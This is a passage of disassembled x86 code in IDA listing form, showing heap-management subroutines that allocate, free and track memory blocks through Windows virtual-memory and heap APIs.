[ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DCFB4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DCFAC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4DCFAC mov eax, dword_4DCFB4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DCFB4 mov ecx, dword_4DCFAC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DCFB4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DCFB4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DCFB4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_4DCFB4 push dword ptr [eax+10h] push 0 push dword_4DCFC4 call dword_427140 ; RtlFreeHeap mov eax, dword_4DCFB8 mov edx, dword_4DCFBC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DCFB4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DCFB8 cmp eax, dword_4DCFB4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DCFBC mov dword_4DCFB0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DCFAC, edi mov dword_4DCFB4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DCFB8 mov edx, dword_4DCFBC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DCFB0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DCFB0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DCFB4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DCFAC jnz short loc_41E4C7 and dword_4DCFB4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DCFB8 mov ecx, dword_4DCFA8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DCFBC push edi push dword_4DCFC4 call dword_427198 ; RtlReAllocateHeap cmp eax, edi jz short loc_41E567 add dword_4DCFA8, 10h mov dword_4DCFBC, eax mov eax, dword_4DCFB8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DCFBC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DCFC4 lea esi, [ecx+eax*4] call dword_427144 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi call dword_4271C4 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DCFC4 call dword_427140 ; RtlFreeHeap loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DCFB8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_4271C4 ; VirtualAlloc test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41DDD2+41p ; sub_41EC6E:loc_41EE3Dp cmp dword_43A9A0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A990 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DCFC4 call dword_427144 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_41EA8E mov eax, offset off_43A990 cmp esi, eax jnz short loc_41EA06 cmp off_43A990, 0 jnz short loc_41E9F6 mov off_43A990, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A994, 0 jnz short loc_41EA1B mov off_43A994, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A994 mov [esi+4], eax mov off_43A994, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi call dword_4271C0 ; VirtualFree loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A990 jz short loc_41EAB3 push esi push 0 push dword_4DCFC4 call dword_427140 ; RtlFreeHeap loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_4271C0 ; VirtualFree cmp off_43C9B0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C9B0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A990 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DCFC4 call dword_427140 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A9A0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A994 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_4271C0 ; VirtualFree test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB9B4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A994 jz short 